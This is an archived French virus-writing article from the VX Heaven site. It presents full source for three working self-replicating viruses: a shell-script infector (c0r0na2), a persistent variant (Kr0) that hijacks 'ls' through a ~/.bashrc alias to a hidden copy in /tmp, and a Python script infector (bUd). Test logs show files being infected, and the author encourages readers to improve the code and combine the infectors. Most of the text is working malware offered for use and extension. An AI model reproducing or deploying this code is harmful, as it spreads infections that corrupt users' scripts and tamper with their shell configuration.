Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

L'attaque des scripts: Épisode 2

Emper0r
2002

[Back to index] [Comments]

Sommaire

  1. Introduction.
  2. Optimisation du virus c0r0na.
  3. Fonction permettant de devenir résident.
    1. The fameuse fonction
    2. Kr0: Le code complet
    3. Les tests
    4. Conclusion
  4. Infection des scripts python.
  5. A venir

I. Introduction

Cet article fait suite à mon texte sur l'infection des scripts sous linux, parut dans IOC#4.

Voici les détails que je voulais ajouter:

Je dit 'd'une certaine façon résident' car le virus n'est pas vraiment résident en mémoire, on détourne une fonction pour l'appeler à chaque fois.

II. Optimisation du virus c0r0na

Voici la 2ème version de mon virus c0r0na, j'ai trouvé quelques nouvelles techniques pour l'optimiser. L'article commençe par ce code car il va nous servir pour la suite:

Virus parasite c0r0na2 infecteur de shell scripts:

#!/bin/sh
#c0r0na2
for f in *
do
if (file $f |grep shell && [ -f $f -a -w $f ] && ! head -n 2 $f |grep c0r0na) >/dev/null;then
cat $f >.a
head -n 11 $0 >$f
cat .a >>$f
rm -f .a
fi;done
 

Petite explication sur le test pour ceux qui non pas l'habitude des shell scripts:

if                              #Si
(file $f |grep shell            #le fichier trouver '$f' est un shell script
&&                              #et
[ -f $f -a -w $f ]              #qu'il est un fichier accessible en écriture
&&                              #et
! head -n 2 $f |grep c0r0na)    #qu'il ne contient pas de signature virale
>/dev/null;                     #(Redirection des sortie des grep)
then                            #Alors: ...
 

Amélioration de cette version:

Quasiment toute l'optimisation vient du fait que tous les tests sont effectués en une seule fois. Je pense qu'il y a peut être encore moyen de l'améliorer en supprimant la création fichier temporaire qui sert à la sauvegarde du script original.

Pour d'éventuels tests faites ça sur votre bécane...

III. Fonction permettant de devenir résident

Dans mon précédent article, ce qui m'a posé le plus de problèmes c'était de trouver comment traverser les répertoires pour que mon virus puisse se propager sur tout le disque.

Ne trouvant pas la solution, quelques recherches sur le net m'ont amenées sur un article de ThreaT (www.chez.com/mvm) qui a codé une sorte de virus ressemblant a c0r0na. Le sien traverse très bien les répertoires, et sa technique est astucieuse.

Il obtient une sorte de mode pseudo-résident en détournent une/des commandes.

A. The fameuse fonction

Grâce aux alias on peut détourner une commande par ex la commande ls. Les alias sont écrits dans le ~/.bashrc et fonctionnent de cette façon:

alias ls='commande-a-executer'
 

Donc ce que nous allons faire c'est détourner la commande ls vers une souche virale cachée à un endroit et ensuite exécuter le vrai /bin/ls. Voici la petite fonction qui permet cela et qui sera ajouter a mon virus c0r0na.

#!/bin/sh
#Kr0                                  #nouveau nom, nouvelle signature ;)

if [ ! -f /tmp/.vx ]; then            #Teste si la souche virale existe
   head -n 25 $0 > /tmp/.vx           #sinon on la crée
   echo "/bin/ls \$*" >> /tmp/.vx     #Ajout de la commande pour exécuter le ls
   chmod +x /tmp/.vx                  #Cette souche doit être exécutable
fi

if ! grep /tmp/.vx ~/.bashrc > /dev/null; then #Teste si commande ls détourné
   echo "alias ls='/tmp/.vx'" >> ~/.bashrc     #sinon on la détourne
fi
 

B. Kr0: Le code complet

Virus parasite Kr0 pseudo-résident infecteur de shell scripts, copyleft Emper0r:

#!/bin/sh
#Kr0
v=/tmp/.vx
if (! grep $v ~/.bashrc && [ ! -f $v ]) >/dev/null;then
(head -n 15 $0 && echo "/bin/ls \$*") >$v
chmod +x $v
echo "alias ls='$v'" >>~/.bashrc;fi
for f in *
do
if (file $f |grep shell && [ -f $f -a -w $f ] && ! head -n 2 $f |grep Kr0) >/dev/null;then
cat $f >.a
head -n 15 $0 > $f
cat .a >>$f
rm -f .a
fi;done
 

C. Les tests

Pour mes tests je crée 2 répertoires de test, 'test1' et 'test2' contenant chacun 10 scripts cobaye.

[[email protected] test1]$ ls -al
total 48
drwxr-xr-x    2 emper0r  emper0r      4096 sep  6 15:26 ./
drwxr-xr-x    4 emper0r  emper0r      4096 sep  6 15:24 ../
-rwxr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t*
-rwxr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t1*
-rwxr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t2*
-rwxr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t3*
-rwxr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t4*
-rwxr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t5*
-rwxr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t6*
----------    1 emper0r  emper0r        34 sep  6 15:26 t7   <- chmod 000 t7
-r-xr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t8*  <- chmod -w t8
----------    1 emper0r  emper0r        34 sep  6 15:26 t9   <- chmod 000 t9

le répertoire test2 est identique, j'ai modifié quelques droits de fichier pour vérifier qu'aucun message d'erreurs apparaît.

Aller on lançe ce virus : (Attention si vous voulez le tester alors faite le sur votre bécane, et uniquement si vous savez ce que vous faites. N'oubliez pas de vous désinfecter après les tests, même si le virus ne présente aucun danger direct.)

[[email protected] etudeioc5]$ ./Kr0
[[email protected] etudeioc5]$ cat ~/.bashrc
# .bashrc

# User specific aliases and functions

# Source global definitions
if [ -f /etc/bashrc ]; then
        . /etc/bashrc
fi

alias ls='/tmp/.vx'                      <- parfait la commande ls est détourné

En fessant un cat /tmp/.vx on peut voir que le fichier contient bien notre souche virale et le très important: /bin/ls $* en dernière ligne, ce qui permet d'exécuter la véritable commande ls tout en gardant les paramètres.

Pour que l'alias soit pris en compte, je doit faire un exit pour delogger. Je me relog et vais dans mes répertoires de test y faire un petit 'ls' pour voir si tout ce passe comme prévu.

[[email protected] test1]$ ls -al
total 48
drwxr-xr-x    2 emper0r  emper0r      4096 sep  7 03:40 .
drwxr-xr-x    4 emper0r  emper0r      4096 sep  6 15:55 ..
-rwxr-xr-x    1 emper0r  emper0r       370 sep  7 03:40 t
-rwxr-xr-x    1 emper0r  emper0r       370 sep  7 03:40 t1
-rwxr-xr-x    1 emper0r  emper0r       370 sep  7 03:40 t2
-rwxr-xr-x    1 emper0r  emper0r       370 sep  7 03:40 t3
-rwxr-xr-x    1 emper0r  emper0r       370 sep  7 03:40 t4
-rwxr-xr-x    1 emper0r  emper0r       370 sep  7 03:40 t5
-rwxr-xr-x    1 emper0r  emper0r       370 sep  7 03:40 t6
----------    1 emper0r  emper0r        34 sep  6 15:26 t7
-r-xr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t8
----------    1 emper0r  emper0r        34 sep  6 15:26 t9

Héhé c'est pas beau ca ?! juste en fessant un 'ls' tous les scripts accessible en écriture on été parfaitement infectés, le ls est bien exécuté avec les paramètres. En copiant et exécutant un script infecté du répertoire test1 dans test2, je voit, a l'aide d'un cat, que le script fonctionne toujours et infecte bien le dossier.

Aucun message d'erreur, les paramètres passés au ls ont bien fonctionnés et les scripts infecté fonctionne toujours correctement.

Tout ca en simplement 15 lignes et 336 octets!!

Si quelqu'un sait comment encore améliorer ca: mail [email protected] Si c'est juste pour gagner 3 octets en supprimant quelques espaces c'est pas la peine ;)

D. Conclusions

Inconvénient de cette technique, c'est pas très discret!

Mais cette fois au moins notre virus peut se propager sur tout le disque et sur le réseau (ex: partage NFS) juste pas un simple ls.

Je ne vois pas d'autre solution pour faire la même chose de façon plus discrète, sinon il faudrait être root... Si vous avez une autre solution même totalement différente ou même encore moins discrète je suis quand même preneur...

IV. Infection des scripts python

Voici encore un langage de scripts ; celui-ci tourne sous linux/unix windows & MacOS. Je ne suis vraiment pas un pro du python. Ce virus a été écrit en une nuit, avec une mini doc sur le python, alors que je n'avait jamais fait de python avant.

Donc soyez compréhensifs si mon code est pas terrible, merci ;)

Virus parasite bUd infecteur de scripts python, copyleft Emper0r:

#!/usr/bin/python
#bUd
import  os, sys
fileList = []
dir = './'
fileList = os.listdir(dir)          #liste les fichiers du répertoire courant
for file in fileList:               #pour chaque fichiers
        try:
                hdl=open(file, 'r+')                 #on essaye de l'ouvrir
                pyt=hdl.readline()
                if pyt == '#!/usr/bin/python\n':     #teste si c'est du python
                        signature = hdl.readline()
                        if signature != '#bUd\n':    #test de signature
                                hdl.seek(0,0)
                                f=hdl.read()
                                hdl2=open(sys.argv[0],'r')#ouvre script courant
                                hdl.seek(0,0)
                                a=0
                                while a != 30:     #boucle recopie ligne a ligne
                                        f2=hdl2.readline()
                                        hdl.write(f2)
                                        a = a + 1
                                hdl2.close()
                                hdl.close()
                                hdl=open(file, 'a')
                                hdl.write(f) #recopie script original en suivant
                hdl.close
        except:            #si on a échoué on passe au suivant
                pass
 

Ce virus non optimisé fait 536 octets, même en l'optimisant je ne pense pas que l'on puisse arriver à le faire aussi petit que son équivalent en Perl, et encore moins en bash.

Pour les tests je vais me faire un générateur de scripts cobaye: (Marre de faire ces scripts a la main :) )

#!/bin/sh
#générateur de scripts cobaye
#./gen NomDesFichiers phraseAAfficher NombreDefichiersACrée
x=1
while [ $x -le $3 ]
do
echo "#!/usr/bin/python" > $1$x
echo "print \"$2\"" >> $1$x
chmod +x $1$x
x=`expr $x + 1`
done
 

Fonctionnement

[[email protected] python]$ ls
bUd*  gen*  vx/

[[email protected] etudeioc5]$ ./gen cobaye je-suis-un-script-cobaye 6

[[email protected] python]$ ls
cobaye1*  cobaye2*  cobaye3*  cobaye4*  cobaye5*  cobaye6*  bUd*  gen*  vx/

[[email protected] python]$ ./cobaye1
je-suis-un-script-cobaye

[[email protected] python]$

Le premier argument est le nom des fichiers crée, ensuite la phrase que le script cobaye peut afficher, puis le nombre de scripts a générer.

[[email protected] python]$ ls -al
total 44
drwxr-xr-x    3 emper0r  emper0r      4096 sep 11 16:00 ./
drwxr-xr-x    5 emper0r  emper0r      4096 sep 10 00:35 ../
-rwxr-xr-x    1 emper0r  emper0r        51 sep 11 16:00 cobaye1*
-rwxr-xr-x    1 emper0r  emper0r        51 sep 11 16:00 cobaye2*
-rwxr-xr-x    1 emper0r  emper0r        51 sep 11 16:00 cobaye3*
-rwxr-xr-x    1 emper0r  emper0r        51 sep 11 16:00 cobaye4*
-rwxr-xr-x    1 emper0r  emper0r        51 sep 11 16:00 cobaye5*
-rwxr-xr-x    1 emper0r  emper0r        51 sep 11 16:00 cobaye6*
-rwxr-xr-x    1 emper0r  emper0r       536 sep 11 15:47 bUd*
-rwxr-xr-x    1 emper0r  emper0r       133 sep 11 15:44 gen*
drwxr-xr-x    2 emper0r  emper0r      4096 sep 11 15:17 vx/

[[email protected] python]$ chmod 000 cobaye1

[[email protected] python]$ ./bUd
[[email protected] python]$ ls -al
total 44
drwxr-xr-x    3 emper0r  emper0r      4096 sep 11 16:00 ./
drwxr-xr-x    5 emper0r  emper0r      4096 sep 10 00:35 ../
----------    1 emper0r  emper0r        51 sep 11 16:00 cobaye1
-rwxr-xr-x    1 emper0r  emper0r       583 sep 11 16:01 cobaye2*
-rwxr-xr-x    1 emper0r  emper0r       583 sep 11 16:01 cobaye3*
-rwxr-xr-x    1 emper0r  emper0r       583 sep 11 16:01 cobaye4*
-rwxr-xr-x    1 emper0r  emper0r       583 sep 11 16:01 cobaye5*
-rwxr-xr-x    1 emper0r  emper0r       583 sep 11 16:01 cobaye6*
-rwxr-xr-x    1 emper0r  emper0r       536 sep 11 15:47 bUd*
-rwxr-xr-x    1 emper0r  emper0r       133 sep 11 15:44 gen*
drwxr-xr-x    2 emper0r  emper0r      4096 sep 11 15:17 vx/

Voila ça fonctionne ; le virus a infecté les scripts infectables, n'a pas touché aux autres et n'a pas généré de message d'erreur. Ces scripts infectés fonctionnent toujours et sont à leur tour capables d'infecter d'autre script python.

Maintenant pour ceux qui veulent s'amuser on peut ajouter cette souche, en la modifiant un peu, à mon virus h0egaard3n(voir IOC#4) pour faire une virus capable d'infecter 3 langages a la fois :)

V. A venir

Par manque de temps je n'ai pas pu inclure a cette article un moteur polymorphe, encours de réalisation, pour les virii perl. Pour ceux que ca interesse il sera normalement très prochainement dispo sur mon site (www.arbornet.org/~emper0r). J'ai aussi quelques idées pour améliorer ce moteur polymorphe et faire un petit métamorphique :)

           << May The Force Be With You... >>
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org
deenesitfrplruua